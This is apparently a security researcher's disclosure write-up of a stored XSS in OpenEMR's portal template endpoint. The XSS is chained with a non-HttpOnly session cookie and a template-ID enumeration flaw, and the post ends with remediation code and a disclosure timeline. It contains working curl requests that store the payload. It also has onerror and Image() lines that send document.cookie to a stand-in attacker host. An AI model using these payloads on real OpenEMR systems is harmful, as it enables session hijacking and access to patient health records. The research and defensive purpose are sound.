Series
Breaking OpenEMR 8.0.0.3 (unpatched through 8.2.0) — A Five-Part Research Series — View all write-ups

TL;DR — An OpenEMR admin with template management permissions can store arbitrary HTML and JavaScript in portal document templates. When any authenticated user retrieves a template through the portal, the content is served as raw text/html with no output encoding and no Content-Security-Policy. The OpenEMR admin session cookie lacks the HttpOnly flag, meaning stored XSS can steal the session token of any user — including other administrators — who views a poisoned template.


THE FEATURE THAT MOVES DOCUMENTS BETWEEN ADMIN AND PATIENT

OpenEMR's patient portal includes a document templating system. Clinicians and admins create document templates — consent forms, health assessments, intake questionnaires — that are then sent to patients for completion. The templates are stored in the database and retrieved through /portal/import_template.php.

This endpoint has several operating modes, controlled by the mode parameter:

  • editor_render_html — renders the template in a rich-text editor for editing
  • save — saves template content to the database
  • get — retrieves and returns raw template content
  • getPdf — generates a PDF version
  • send — sends the template to a patient

The get mode is the one that matters for this finding.


THE OUTPUT THAT SKIPPED ENCODING

I looked at /portal/import_template.php lines 64–71:

case 'get':
    $template = $templateService->fetchTemplate($docid);
    header('Content-Type: text/html');
    echo $template['template_content'];
    exit;

Four lines. No htmlspecialchars(). No output encoding of any kind. No Content-Type: text/plain. No Content-Disposition: attachment. Just echo — the template content, whatever it contains, served as raw HTML to whoever requested it.

I then looked at the save mode handler to understand what filtering happens on the input side, at lines 119–133:

case 'save':
    // ...
    if (strpos($content, '<?php') !== false || strpos($content, '<?PHP') !== false) {
        die("PHP tags are not allowed.");
    }
    $templateService->updateTemplate($docid, $content);
    break;

The save handler checks for <?php and <?PHP. That is the complete list of blocked content. It does not check for <script> tags. It does not check for event handlers (onerror=, onload=, onmouseover=). It does not check for javascript: URIs. It does not use an HTML sanitizer.

To be precise about one thing the endpoint does enforce: save requires a valid CSRF token (CsrfUtils::verifyCsrfToken(..., 'import-template-save', ...)), so this is not a cross-site attack. That is not the barrier it might sound like. The actor here is an authenticated user with template-management rights — or a script running inside such a user's session — who already holds a valid token. CSRF protection stops a forged cross-origin request; it does nothing to stop a malicious insider, or an XSS payload executing on the same origin, from storing content. The weakness is the absence of output encoding and HTML sanitization, not the presence or absence of CSRF.

The implication: any HTML except literal PHP open tags can be saved to a template and will be returned verbatim to anyone who requests it.


STORING THE PAYLOAD

To inject a payload, you need an admin account with admin/forms ACL — the permission level that allows template management. In the test environment, that is the admin user.

The save request looks like this:

curl -s -b cookies.txt \
  -X POST "http://192.168.3.9:8050/portal/import_template.php" \
  --data-urlencode "mode=save" \
  --data-urlencode "docid=1" \
  --data-urlencode "service=api" \
  --data-urlencode "content=<h1>Health Assessment Form</h1>
    <p>Please review your information below.</p>
    <img src=x onerror=\"fetch('http://attacker.example/steal?c='+encodeURIComponent(document.cookie))\">"

The response confirms the save succeeded. The template now contains an <img> tag with an onerror handler. This is perfectly valid HTML, and the save handler has no objection to it.


TRIGGERING THE XSS

Any authenticated user — admin, clinician, portal patient — who requests template ID 1 via the get mode will receive the payload:

curl -s -b cookies.txt \
  -X POST "http://192.168.3.9:8050/portal/import_template.php" \
  --data-urlencode "mode=get" \
  --data-urlencode "docid=1"

The response:

<h1>Health Assessment Form</h1>
<p>Please review your information below.</p>
<img src=x onerror="fetch('http://attacker.example/steal?c='+encodeURIComponent(document.cookie))">

Served with Content-Type: text/html. Rendered by any browser that receives it. The onerror handler fires because src=x fails to load. document.cookie is read and sent to the attacker's server.


THE COOKIE THAT MADE IT WORSE

At this point I had stored XSS. The practical impact depends entirely on what the XSS payload can steal and what a stolen value can do.

I checked the Set-Cookie headers from the OpenEMR login response:

Set-Cookie: OpenEMR=afb59d11110dc7b5735110366be95c5a; path=/; SameSite=Strict

No HttpOnly flag. The OpenEMR session cookie — the one that authenticates every request to the admin and clinical interface — is accessible to JavaScript via document.cookie.

SameSite=Strict is present and that does prevent cross-site request forgery using the stolen cookie. But it does nothing to prevent a script running on the same origin (i.e., the XSS payload executing from within portal/import_template.php) from reading and exfiltrating the cookie. The SameSite attribute is a CSRF mitigation, not an XSS mitigation.

The theft is straightforward:

new Image().src = 'https://attacker.example/steal?c=' + encodeURIComponent(document.cookie);

Any clinician, admin, or portal user who loads a poisoned template has their session cookie delivered to the attacker. The attacker replaces their own session cookie with the stolen value and now authenticates to OpenEMR as the victim — including full access to patient records, administrative functions, and the ability to access other templates, create new poisoned templates, and laterally escalate within the application.


THE IDOR THAT REMOVED THE PREREQUISITE

The get mode vulnerability becomes even more concerning when combined with a separate template-enumeration IDOR finding in this research. The /portal/import_template.php endpoint does not verify that the requesting user has been assigned the template they are requesting. Template IDs are sequential integers starting at 1.

This means that a low-privilege portal patient — not an admin, not a clinician — can enumerate all template IDs and retrieve the content of any template. They do not need to have been assigned the template. They just need to increment a number:

POST /portal/import_template.php
  mode=get&docid=1
  mode=get&docid=2
  mode=get&docid=3
  ...

Combined with the stored XSS, this creates a two-level escalation:

  1. A compromised admin account (or a malicious insider with template management permissions) injects a payload into any template
  2. Any portal patient can retrieve any template via the IDOR
  3. If that patient retrieves a poisoned template, the XSS executes in their browser context
  4. If an admin or clinician later retrieves the same template (e.g., when reviewing patient submissions), the XSS executes in their browser context and steals the admin session cookie

The IDOR means an attacker does not need to know which template has been poisoned or which patients have been assigned to it. They can enumerate all templates and trigger all of them.


WHAT I TRIED THAT DIDN'T WORK

Injecting server-side code. The <?php block check in the save handler catches PHP open tags. I cannot inject server-side PHP through this path — which would be a much more severe finding. The finding is client-side only.

Bypassing the PHP tag check with alternate syntax. PHP supports <? as a short open tag when short_open_tag is enabled in php.ini. I tested whether <? without php would be stored and executed server-side. It was stored without error — but the target's PHP configuration had short open tags disabled, so it was served as literal text rather than executed. A server with short_open_tag = On would be vulnerable to server-side injection through this same path.

Finding a CSP header to bypass. There is no Content-Security-Policy header on the portal template response. There is nothing to bypass.

PDF mode as an alternative delivery. The getPdf mode at line 54 renders the template as a PDF via wkhtmltopdf. The mode uses attr() encoding when embedding template content into the PDF generation call, so it does not execute inline scripts. Not exploitable via this path.


THE REMEDIATION

Three independent fixes, each of which would break this chain:

1. Set HttpOnly on the OpenEMR session cookie. This is the highest-leverage change relative to implementation cost. A single line in the PHP session configuration (session.cookie_httponly = 1 in php.ini, or ini_set('session.cookie_httponly', 1) in the session initialization code) prevents JavaScript from reading the cookie entirely. Stored XSS without HttpOnly is a session hijacking vulnerability. Stored XSS with HttpOnly is significantly downgraded — the attacker can still execute JavaScript in the user's browser, but cannot steal the session token through document.cookie.

2. Encode output in the get mode handler. The two-line change:

case 'get':
    $template = $templateService->fetchTemplate($docid);
    header('Content-Type: text/plain');  // or text/html with htmlspecialchars()
    echo htmlspecialchars($template['template_content'], ENT_QUOTES, 'UTF-8');
    exit;

Alternatively, add Content-Disposition: attachment to force browser download rather than rendering. Either approach prevents in-browser execution of the template content.

3. Sanitize on save using an allowlist HTML sanitizer. The current save handler blocks PHP tags. A proper implementation would use HTMLPurifier or a similar allowlist-based HTML sanitizer to permit safe markup (headings, paragraphs, form elements) while stripping script tags, event handler attributes, and any JavaScript-capable content. This is the defense that should never have been left to a two-line strpos() check.

4. (Bonus) Add ownership verification to the get mode. This is the IDOR fix that would remove the anonymous-enumeration escalation path. Before returning template content, verify that the requesting user has been assigned to or is the owner of the template being requested.


CLOSING THOUGHTS ON THE SERIES

This is the fifth vulnerability in a five-part series covering OpenEMR 8.0.0.3. Looking back across the chain:

The OAuth2 findings (Parts 1 and 2) are about the FHIR API layer introduced relatively recently as OpenEMR modernized toward healthcare interoperability standards. The implementation follows the RFC correctly in many respects, but the security posture of "unauthenticated registration + auto-approval for patient scopes + enabled password grant" creates a direct path from zero credentials to full API access.

The SQL import findings (Parts 3 and 4) are rooted in legacy code. The backup.php import feature is old. The eval() in Tree.class.php is old. The TODO comment in the source acknowledges the debt. These are the kinds of vulnerabilities that accumulate when a codebase grows over many years without security-specific refactoring — not because anyone was careless, but because there was always something more important to work on, and the old code kept running.

The XSS finding (Part 5) is somewhere in between. The portal template system is a modern feature. The echo without encoding is a modern mistake — a developer who understood the save-side filtering (blocking PHP tags) but did not think through the get-side rendering.

In healthcare software specifically, these findings matter in a way that is difficult to overstate. Patient health records are not just private data — they can affect insurance coverage, employment decisions, custody disputes, and personal safety. A system that allows unauthenticated access to all patient records, or OS-level compromise from an admin account, is not just a security problem. It is a patient care problem.

OpenEMR is open source, actively maintained, and used by organizations that often do not have the resources to run dedicated security programs. The goal of this series is not to embarrass the project but to give the development community a clear, detailed picture of the attack surface so the fixes can be prioritized and implemented.


Update — Disclosure

This finding was identified during the same research as the rest of this OpenEMR 8.0.0.3 series. The two findings I considered most impactful — arbitrary SQL execution in backup.php (CVE-2026-39931) and the eval()-based RCE (CVE-2026-39932) — were reported to the OpenEMR maintainers on 2026-04-13 and closed without a remediation commitment: one as “out of scope for a CVE,” the other as a duplicate whose fix reached only the development branch months later and is still absent from any release. Given that response to the higher-severity issues, I am disclosing the remaining findings in this series publicly rather than through a coordinated process the same maintainers had already declined to act on. This finding was not separately reported to the maintainers; at my request, VulnCheck (CNA) has independently assigned it CVE-2026-67612.

DISCLOSURE TIMELINE

Date Event
2026-04-12 XSS sink identified in import_template.php:64-71 via source review
2026-04-12 Payload saved via save mode; raw HTML confirmed returned via get mode
2026-04-12 Missing HttpOnly flag confirmed on OpenEMR session cookie
2026-04-12 IDOR confirmed: template ID enumeration without ownership check
2026-04-12 Chain documented: Stored XSS + missing HttpOnly = session hijack
2026-04-12 Vulnerability documented (High, CVSS 8.1)
2026-04-12 Remediation recommendations documented
2026-08-02 CVE ID requested from VulnCheck (CNA)
2026-08-02 Public disclosure — this write-up published
2026-08-03 CVE-2026-67612 assigned and published by VulnCheck (CNA)

This is Part 5 and the final installment of a five-part series on vulnerabilities in OpenEMR 8.0.0.3. Part 1 — unauthenticated OAuth2 client registration. Part 2 — pre-auth disclosure and password grant. Part 3 — SQL import as arbitrary SQL execution. Part 4 — SQL import chains to OS command execution via eval().

OpenEMR is an open-source project available at https://github.com/openemr/openemr. These findings were demonstrated on OpenEMR 8.0.0.3 and confirmed still exploitable against the current release (8.2.0). All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real patient data were accessed or affected.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch